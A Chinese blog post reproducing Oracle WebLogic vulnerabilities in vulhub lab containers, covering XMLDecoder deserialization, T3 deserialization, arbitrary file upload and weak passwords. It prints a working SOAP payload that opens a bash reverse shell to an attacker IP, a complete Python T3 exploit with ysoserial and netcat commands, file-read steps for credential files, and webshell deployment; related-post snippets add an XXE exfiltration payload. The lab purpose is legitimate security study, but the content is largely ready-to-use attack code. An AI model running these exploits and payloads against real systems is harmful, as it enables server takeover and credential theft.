vulhub-weblogic漏洞复现系列CVE-2017-10271、CVE-2018-2628、CVE-2018-2894

最新推荐文章于 2024-06-01 21:43:54 发布
最新推荐文章于 2024-06-01 21:43:54 发布
阅读量1.3k 收藏 5
点赞数
文章标签： weblogic 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43071873/article/details/109850013
版权

领导给了任务把vulhub里边的靶场都玩一玩。那就顺便做个系列发出来吧。

  1. CVE-2017-10271
  2. CVE-2018-2628
  3. CVE-2018-2894
  4. weak_password

CVE-2014-4210（ssrf）因为vulhub的问题，redis一直启动不了，所以没复现出来。等以后更新一下vulhub之后如果可以再补充。

CVE-2017-10271
1、漏洞详情：
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。使用精心构造的xml数据可能造成任意代码执行，攻击者只需要发送精心构造的 HTTP 请求，就可以拿到目标服务器的权限。攻击者可利用该漏洞控制组件，影响数据的可用性、保密性和完整性
2、漏洞涉及版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
3、漏洞地址：
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
4、漏洞复现：
利用检测工具，确认存在漏洞
在这里插入图片描述
直接命令执行
在这里插入图片描述
漏扫工程师下线。。。哈哈哈，开玩笑开玩笑，下面进行手工检测利用
利用poc：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.118.147:7001  ##目标机及端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.118.1/4444 0&gt;&amp;1</string>   ## 攻击机ip
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

进入漏洞地址http://192.168.118.147:7001/wls-wsat/CoordinatorPortType
在这里插入图片描述
利用bp抓包，将内容换为poc，利用nc监听端口，发送数据包反弹shell
在这里插入图片描述
本漏洞复现完毕

CVE-2018-2628
1、漏洞详情：
在 WebLogic 里，攻击者利用其他rmi(远程方法调用)绕过weblogic黑名单限制，然后在将加载的内容利用readObject解析，从而造成反序列化远程代码执行该漏洞，该漏洞主要由于T3服务触发，所有开放weblogic控制台7001端口，默认会开启T3服务，攻击者发送构造好的T3协议数据，就可以获取目标服务器的权限
2、漏洞影响：
Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.2.0
Oracle WebLogic Server12.2.1.3.0
3、漏洞复现：
工具检测，确认漏洞
在这里插入图片描述
用ysoserial，启动一个JRMP Server
（下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta）
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “ping 320113.cy1klz.ceye.io”
在这里插入图片描述
利用该exp进行攻击,
python2 .\44553.py 192.168.118.147 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.118.1 1099 JRMPClient

# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#       e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
#    e.g. nc -nlvp 4040
# 3. run this script on attacker host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#       e.g.
#           a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
#           b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

在这里插入图片描述
ps：exp应该是这个，如果错了，可以联系我，我再重新找一下。
Ceye平台上成功回显。复现成功
在这里插入图片描述

CVE-2018-2894
1、漏洞详情：
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分为/ws_utc/begin.do、/ws_utc/config.do。
2、影响范围：
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3
3、漏洞复现：
进入靶场后台登陆页面，192.168.118.147:7001/conslole
在这里插入图片描述
输入docker-compose logs | grep password可查看管理员密码
在这里插入图片描述
在这里插入图片描述
进入后台，点击高级
在这里插入图片描述
勾选启动web服务测试页
在这里插入图片描述
进入http://192.168.118.147:7001/ws_utc/config.do，将工作目录/u01/oracle/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war修改为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全
在这里插入图片描述
添加，将木马文件上传。
在这里插入图片描述
通过bp截断，发到重发器，查看时间戳
在这里插入图片描述
访问http://192.168.118.147:7001/ws_utc/css/config/keystore/[时间戳][文件名]，执行webshell，
哥斯拉连接，成功getshell
在这里插入图片描述
weak_password
任意文件读取、口令破解、文件上传
漏洞形成：
存在 任意文件读取漏洞，可利用此漏洞配合解密工具得到登陆密码
登录后台后存在上传点，可上传一句话拿shell

任意文件读取：
访问192.168.118.147:7001/hello/file.jsp?path=/etc/password，下载文件
在这里插入图片描述
打开查看密码
在这里插入图片描述

利用weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只要找到用户的密文与加密时的密钥即可。SerializedSystemIni.dat和config.xml。
SerializedSystemIni.dat是一个二进制文件，所以用burpsuite来读取，浏览器下载可能会有干扰符
在这里插入图片描述

config.xml是base_domain的全局配置文件内容比较多，找到其中的的值，即为加密后的管理员密码
在这里插入图片描述
破解密码工具暂缺（github上有 但下的太慢了，我放弃了。）
通过别人的博客知道后台登陆的账号密码为weblogic Oracle@123
登陆后台，通过jar -cvf test.war *将哥斯拉马打包为war包
部署war包
部署—安装—上载文件—选择文件（war包）然后一直下一步直到完成即可。
在这里插入图片描述
通过哥斯拉连接，成功getshell
在这里插入图片描述

Lin冲啊
关注
  • 0
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
weblogic_poc.cve-2018-2628.rar_cve-2018-2628_weblogic
09-20
验证是否存在cve-2018-2628漏洞
CVE-2018-3246 weblogic xxe
ddr12231的博客
08-27 1549
使用P牛2018-2894的容器 http://192.168.245.130:7001/ws_utc/begin.do 导入测试用例 上传时抓取数据包 POST /ws_utc/resources/ws/config/import?timestamp=1566895391388 HTTP/1.1 Host: 192.168.245.130:7001 Content-Length: ...
weblogic之CVE-2018-3246 XXE分析
weixin_30535167的博客
01-15 782
通过ftp通道将数据传出来。上传1.xml <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.172.128:1234/ext.dtd"><!ENTITY % bbb SYSTEM "file:///E:///1.txt">%aaa;%ccc;%ddd;]> ext.dtd内容如下...
【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复
最新发布
IronmanJay的博客
06-01 2199
2021年01月27日，RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风险通告，普通用户可以通过利用此漏洞，而无需进行身份验证，成功获取Root权限。
Weblogic漏洞（四）之 CVE-2018-2894 任意文件上传漏洞
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
08-31 1242
Weblogic受影响的版本：此次我们使用的是vnlhub靶场搭建的环境，是vnlhub中的Weblogic漏洞中的CVE-2018-2894靶场，我们 cd 到 CVE-2018-2894，然后输入以下命令启动靶场环境： 输入以下的命令可以查看当前启动的靶场环境： 我们首先通过以下的命令获取Weblogic后台登陆的用户名和密码 然后我们通过URL访问靶场界面然后我们通过用户名weblogic和刚刚获得密码QghFSif4登陆Weblogic后台界面如图，是我们登陆后的界面：登录到后台，我们按照登录 ->
Web漏洞-未授权访问漏洞
Ays.Ie的博客
03-21 3660
该篇记录了web漏洞-未授权访问漏洞的相关知识
【SSRF02】服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==＞未授权访问==＞GetShell
Fighting_hawk的博客
03-16 4058
1. 掌握SSRF漏洞挖掘的方法； 2. 掌握利用SSRF漏洞进行内网扫描； 3. 本实验中未涉及SSRF利用时绕过的方法； 4. 后续将研究如何成功反弹shell。
weblogic10.36 CVE-2018-2893补丁文件
08-02
WebLogic（CVE-2018-2893）安全漏洞预警，oracle官方发布了2018年4月份的关键补丁更新CPU（CriticalPatchUpdate），其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628)，因该漏洞修补不善导致被绕过。...
weblogic CVE-2018-2628--exp
01-20
weblogic CVE-2018-2628--exp
Weblogic系列漏洞复现——vulhub
qq_45612828的博客
08-08 1975
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic 任意文件上传漏洞（CVE-2018-2894） Weblogic Pre-Auth 远程命令执行（CVE-2020-14882、CVE-2020-14883） Weblogic ssrf（CVE-2014-4210）......
weblogic修改控制台ip_Weblogic未授权访问及命令执行分析复现
weixin_39640085的博客
12-12 1256
一、背景漏洞概述：WebLogic是美国Oracle公司的主要产品之一，是商业市场上主要的 J2EE 应用服务器软件，也是世界上第一个成功商业化的J2EE应用服务器，在 Java 应用服务器中有非常广泛的部署和应用。10月21日，Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限...
CVE-2018-4878的复现
大方子
10-07 4319
前言： CVE-2018-4878利用flash的漏洞来进行攻击，如果受害者的flash版本在28.0.0.137及其之前，那么攻击者可以通过诱使受害者点击链接访问特定网页来控制受害者的电脑。 1 漏洞影响范围 Flash Player28.0.0.137及以前的所有版本 2 漏洞复现 2.1 测试环境 攻击机：kali2017 靶机：win7_x64+IE8+FLASH_playe...
CVE-2018-2894 weblogic 任意文件上传漏洞复现
u013224189的专栏
07-25 3536
CVE-2018-2894 weblogic任意文件上传漏洞 2018年7月19日，CNCERT发出漏洞预警，weblogic存在远程代码执行高危漏洞，本质上为任意文件上传漏洞，有两处上传点: /ws_utc/config.do /ws_utc/begin.do 影响版本：10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3。 漏洞作者就是我的小基友，所以我 来尝试复...
CVE-2018-3760漏洞复现(任意文件读取)
千寻的博客
01-07 4078
CVE-2018-3760漏洞复现(任意文件读取) 0x00 漏洞介绍 Ruby On Rails是一个著名的Ruby Web开发框架，它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的Ruby库。 在Ruby 3.7.1和更低版本中，存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。 0x...
未授权访问漏洞总结
LuckySec
03-24 4811
前言：这篇文章主要收集一些常见的未授权访问漏洞。未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。 0x01 未授权漏洞预览 Active MQ 未授权访问 Atlassian Crowd 未授权访问 CouchDB 未授权访问 Docker 未授权访问 Dubbo 未授权访问 Druid 未授权访问 Elasticsearch 未授权访问 FTP 未授权访问 Hadoop 未授权访问 JBoss 未授权访
CVE-2017-10271复现
qq_56258713的博客
07-03 3045
CVE-2017-10271复现
CVE-2018-7600 Drupal漏洞原理的简单分析与复现
锋刃科技的博客
11-12 8383
0x00组件背景 Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。 0x01漏洞位置 这里有个call_user_func_array call_user_func_array函数是调用第一个参数的函数 传入的参数数第二个参数数...
cve-2017-10271漏洞复现
06-28
### 回答1： CVE-2017-10271漏洞是Oracle WebLogic Server中的一个远程代码执行漏洞。攻击者可以通过发送特制的HTTP请求来利用该漏洞，从而在受影响的系统上执行任意代码。该漏洞已经被公开披露，并且已经有一些工具可以用来复现该漏洞。但是，我们不建议未经授权的人员进行漏洞复现，因为这可能会导致系统被攻击者入侵。如果您需要测试您的系统是否受到该漏洞的影响，请咨询安全专家或厂商提供的安全补丁。 ### 回答2： CVE-2017-10271漏洞是Oracle WebLogic Server的一个远程代码执行漏洞，攻击者可以通过构造特定的HTTP请求来向受影响的WebLogic服务器发送恶意代码，在未经授权的情况下执行任意命令或获取服务器操作权限。 漏洞复现需要以下步骤： 1. 确定漏洞影响的WebLogic版本，CVE-2017-10271漏洞影响的版本为12.1.2.0、12.1.3.0、12.2.1.0、12.2.1.1和12.2.1.2，若WebLogic版本符合以上版本则可以进行后续漏洞复现操作。 2.通过漏洞利用工具Metasploit或手工构造特定的HTTP请求向受影响的WebLogic服务器发送恶意代码，触发漏洞，远程代码执行。 3.构造特定的HTTP请求需要以下信息： - 目标WebLogic服务器的IP地址和端口号。 - WebLogic管理员账户的用户名和密码，用于获取控制台访问权限。 - 漏洞利用代码，用于构造HTTP请求并发送到目标WebLogic服务器。 其中，漏洞利用代码结构大致如下： POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target_weblogic_server_ip:target_port Content-Type: text/xml; charset=utf-8 Content-Length: 800 <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>echo "";whoami;id;uname -a;echo "> /tmp/shell;sudo chmod 777 /tmp/shell;/tmp/shell</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 这段代码用于请求WebLogic服务器上的CoordinatorPortType服务，执行恶意代码，获取远程服务器的操作权限。其中，</string>字符串后面的内容是要在目标服务器上执行的命令。 4.成功复现漏洞后，攻击者可以通过远程命令执行获取服务器操作权限，对受影响的服务器进行攻击、篡改或窃取敏感数据等恶意行为。 因此，WebLogic管理员应当及时采取措施，升级至最新版本，关闭不必要的端口，增强安全性，以保护WebLogic服务器不受恶意攻击。 ### 回答3： CVE-2017-10271是一个Oracle WebLogic Server中的远程执行代码漏洞，漏洞影响Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.1和12.2.1.2版本。 漏洞复现步骤如下： 步骤一：下载漏洞复现工具 首先要下载漏洞复现工具weblogic-CNVD-2019-48814： git clone https://github.com/tdy218/OracleWeblogic-CNVD-C-2019-48814.git 步骤二：搭建漏洞环境 安装Oracle WebLogic Server 12.2.1.3.0，安装过程略过。在安装完成后，启动Oracle WebLogic Server管理服务： ${ORACLE_HOME}/user_projects/domains/base_domain/bin/startWebLogic.sh 启动管理服务后，访问http://localhost:7001/console，进入控制台界面，输入管理员账号密码，进入控制台主页。 步骤三：运行漏洞利用脚本 进入weblogic-CNVD-2019-48814目录，运行poc.py脚本，如下所示： python poc.py http://localhost:7001 begin ${arbitary command} 其中，http://localhost:7001是WebLogic Server地址，${arbitary command}是任意需要执行的命令，例如： python poc.py http://localhost:7001 begin ls 上述命令将列出当前目录下的文件列表。 漏洞利用成功后，可以看到攻击者执行的命令结果。 除了使用上述脚本之外，攻击者还可以手动利用该漏洞，具体步骤可以查看漏洞详情。 总结： CVE-2017-10271漏洞是一种影响Oracle WebLogic Server的远程执行代码漏洞，攻击者可以利用该漏洞在目标服务器上执行任意命令。为了防止该漏洞的攻击，我们可以进行以下措施： 1. 及时升级Oracle WebLogic Server版本，以防止攻击者利用漏洞； 2. 禁用T3协议，仅允许HTTPS连接； 3. 配置防火墙，限制WebLogic Server管理服务的访问来源； 4. 运行安全软件，及时发现漏洞和攻击行为。
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值